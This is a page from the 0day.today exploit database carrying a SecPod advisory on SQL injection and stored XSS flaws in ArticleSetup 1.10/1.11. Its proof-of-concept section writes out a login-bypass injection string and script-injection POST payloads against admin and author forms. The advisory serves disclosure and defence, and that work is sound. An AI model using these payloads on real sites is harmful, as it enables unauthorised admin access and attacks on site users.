0day.today - Biggest Exploit Database in the World.

Select your language:

Things you should know about 0day.today:

We use one main domain: http://0day.today
Most of the materials is completely FREE
If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD

We accept currencies: [contact admin to find more]

We don't want you to use our site as a tool for hacking purposes, so any kind of action that could affect illegaly other users or websites that you don't have right to access will be banned and your account including your data will be destroyed.

Administration of this site uses the official contacts. Beware of impostors!

We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!

I am registered user of 0day.today. I don't want to see this screen in future.

What to do first?

Read the [ agreement ]
Read the [ Submit ] rules
Visit the [ faq ] page
[ Register ] profile
Get [ GOLD ]
If you want to [ sell ]
If you want to [ buy ]
If you lost [ Account ]
Any questions [ admin@0day.today ]

Main links

You can contact us by

Mail:

mr.inj3ct0r@gmail.com

Facebook:

Inj3ct0rs

Twitter:

Inj3ct0r

Telegram:

We DO NOT use Telegram or any messengers / social networks!

[ authorization ] [ registration ] [ restore account ]

You can contact us by:

Mail:

mr.inj3ct0r@gmail.com

Facebook:

Inj3ct0rs

Twitter:

Inj3ct0r

Telegram:

We DO NOT use Telegram or any messengers / social networks!

ArticleSetup Multiple Persistence XSS / SQL Injection Vulnerabilities

Author

secpod

Risk

[

Security Risk Critical

]

0day-ID

Category

Date add

Platform

Title    : ArticleSetup Multiple Persistence Cross-Site Scripting and SQL
 Injection Vulnerabilities

Overview:
---------
ArticleSetup Multiple Persistence Cross-Site Scripting and SQL Injection
Vulnerabilities.
 
 
Technical Description:
----------------------
ArticleSetup Multiple Persistence Cross-Site Scripting and SQL Injection
Vulnerabilities.
 
  i) Input passed via the 'userid' and 'password' parameter in
     '/upload/login.php' page is not properly verified before being used in
     an SQL query. This can be exploited to manipulate SQL queries by injecting
     arbitrary SQL queries.
 
 ii) Input passed via the 'userid' and 'password' parameter in
     '/upload/admin/login.php' page is not properly verified before being
     used in an SQL query. This can be exploited to manipulate SQL queries
     by injecting arbitrary SQL queries.
 
iii) Input passed via the 'cat' parameter in 'upload/feed.php' page is not
     properly verified before being used in an SQL query. This can be
     exploited to manipulate SQL queries by injecting arbitrary SQL queries.
 
 iV) Input passed via the 's' parameter in 'upload/search.php' page is not
     properly verified before being used in an SQL query. This can be
     exploited to manipulate SQL queries by injecting arbitrary SQL queries.
 
 V)  Input passed via the 'id' parameter in '/upload/admin/pageedit.php',
     'upload/admin/authoredit.php' and '/admin/categoryedit.php?id' pages are
     not properly verified before being used in an SQL query. This can be
     exploited to manipulate SQL queries by injecting arbitrary SQL queries.
 
Vi)  Input passed via the 's' and parameter in '/upload/search.php' page is not
     properly verified before it is returned to the user. This can be exploited
     to execute arbitrary HTML and script code in a user's browser session in
     the context of a vulnerable site.
 
Vii) Input passed via the 'title' and parameter in 'upload//author/submit.php'
     page is not properly verified before it is returned to the user. This can
     be exploited to execute arbitrary HTML and script code in a user's browser
     session in the context of a vulnerable site.
 
Viii)Input passed via the 'title' and parameter in '/upload/admin/articlenew.php',
     '/upload/admin/categories.php' and '/upload/admin/pages.php' pages are not
     properly verified before it is returned to the user. This can be exploited
     to execute arbitrary HTML and script code in a user's browser session in
     the context of a vulnerable site.
 
  The vulnerabilities are tested in ArticleSetup v1.10 Other versions  may also
  be affected.
 
 
Impact:
--------
Successful exploitation could allow an attacker to execute arbitrary HTML
code in a user's browser session in the context of a vulnerable application
or to manipulate SQL queries by injecting arbitrary SQL code.
 
 
Affected Software:
------------------
ArticleSetup v1.11 and prior.
 
Tested on,
ArticleSetup v1.10, v1.11
 
 
References:
-----------
http://www.articlesetup.com/
http://secpod.org/blog/?p=497
http://secpod.org/advisories/SecPod_ArticleSetup_Multiple_Vuln.txt
 
 
Proof of Concept:
-----------------
 
POC 1:
-----
SQL Injection Vulnerabilities.
 
http://IP_ADDR/ArticleSetup/upload//feed.php?cat='
http://IP_ADDR/ArticleSetup/upload/search.php?s=%27
http://IP_ADDR/ArticleSetup/upload/admin/pageedit.php?id=%27
http://IP_ADDR/ArticleSetup/upload/admin/authoredit.php?id=%27
http://IP_ADDR/ArticleSetup/upload//admin/categoryedit.php?id=%27
 
POST /ArticleSetup/upload/login.php
Host: IP_ADDR
User-Agent:  SQL INJECTION TEST
Content-Type: application/x-www-form-urlencoded
Content-Length: 81
 
Post Data:
==========
userid=%27+or+%27bug%27%3D%27bug%27+%23&password=%27+or+%27bug%27%3D%27bug%27+%23
 
POST /ArticleSetup//upload/login.php
Host: IP_ADDR
User-Agent:  SQL INJECTION TEST
Content-Type: application/x-www-form-urlencoded
Content-Length: 81
 
Post Data:
==========
userid=%27+or+%27bug%27%3D%27bug%27+%23&password=%27+or+%27bug%27%3D%27bug%27+%23
 
POC 2:
-----
Cross Site Scripting Vulnerabilities.
 
http://IP_ADDR/ArticleSetup/upload//search.php?s=%3Cscript%3Ealert%28%22SecPod-XSS-TEST%22%29%3C%2Fscript%3E
 
POST /ArticleSetup//upload/author/submit.php HTTP/1.1
Host: IP_ADDR
User-Agent: STORED XSS TEST
Content-Type: application/x-www-form-urlencoded
Content-Length: 202
 
Post Data:
==========
title=%3Cscript%3Ealert%28%22SecPod-XSS-TEST%22%29%3C%2Fscript%3E&category=1&body=%3Cp%3Eantu+sanadi+barn+in+india%3C%2Fp%3E&resource=%3Cp%3Eindia+is+gereat%3C%2Fp%3E&save=Submit+Article+%C2%BB&update=
 
POST /ArticleSetup//upload/admin/articlenew.php
Host: IP_ADDR
User-Agent: STORED XSS TEST
Content-Type: application/x-www-form-urlencoded
Content-Length: 163
 
Post Data:
==========
title=%3Cscript%3Ealert%28%22SecPod-XSS-TEST%22%29%3C%2Fscript%3E&category=38&body=%3Cp%3Ei+am+here%3C%2Fp%3E&resource=%3Cp%3Ewhere+are+you%3C%2Fp%3E&save=&submit=
 
POST /ArticleSetup//upload/admin/categories.php
Host: IP_ADDR
User-Agent: STORED XSS TEST
Content-Type: application/x-www-form-urlencoded
Content-Length: 90
 
Post Data:
==========
title=%3Cscript%3Ealert%28%22SecPod-XSS-TEST%22%29%3C%2Fscript%3E&parentid=NULL&add=&save=
 
 
POST /ArticleSetup/upload/admin/pages.php
Host: IP_ADDR
User-Agent:  STORED XSS TEST
Content-Type: application/x-www-form-urlencoded
Content-Length: 114
 
Post Data:
==========
title=%3Cscript%3Ealert%28%22SecPod-XSS-TEST%22%29%3C%2Fscript%3E&body=%3Cp%3Edsfds%3C%2Fp%3E&onmenu=on&add=&save=
 
 
Solution:
----------
Fix not available
 
 
Risk Factor:
-------------
     CVSS Score Report:
        ACCESS_VECTOR          = NETWORK
        ACCESS_COMPLEXITY      = LOW
        AUTHENTICATION         = NONE
        CONFIDENTIALITY_IMPACT = PARTIAL
        INTEGRITY_IMPACT       = PARTIAL
        AVAILABILITY_IMPACT    = NONE
        EXPLOITABILITY         = PROOF_OF_CONCEPT
        REMEDIATION_LEVEL      = UNAVAILABLE
        REPORT_CONFIDENCE      = CONFIRMED
        CVSS Base Score        = 6.4 (AV:N/AC:L/Au:N/C:P/I:P/A:N)
        Risk factor            = High
 
 
Credits:
--------
Antu Sanadi of SecPod Technologies has been credited with the discovery of this
vulnerability.



#  0day.today [2024-11-15]  #

We DO NOT use Telegram or any messengers / social networks!

Please, beware of scammers!

ArticleSetup Multiple Persistence XSS / SQL Injection Vulnerabilities

Report Error

Report Error